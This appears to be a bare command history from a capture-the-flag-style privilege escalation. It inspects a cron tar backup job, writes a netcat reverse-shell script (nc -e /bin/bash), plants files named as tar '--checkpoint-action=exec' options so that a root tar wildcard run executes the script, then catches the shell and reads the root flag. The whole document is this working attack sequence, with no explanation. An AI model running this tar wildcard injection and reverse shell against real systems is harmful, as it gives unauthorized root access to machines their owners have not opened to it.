crontab -l
ls -l /tmp/
ls -l /tmp/backup
tar -zxvf adam-key-archive.tar.gz
find / -name authorized_keys
cd /home/adam/.ssh
touch 6
cd /tmp/backup
tar -zxvf adam-key-archive.tar.gz
cd /home/adam/.ssh
printf '#! /bin/bash\nnc -e /bin/bash 127.0.0.1 1234' > shell.sh
cat shell.sh
touch -- '--checkpoint-action=exec=sh shell.sh'
touch -- '--checkpoint=1'
nc -vnlp 1234
whoami
cd /root
ls -l
cat flag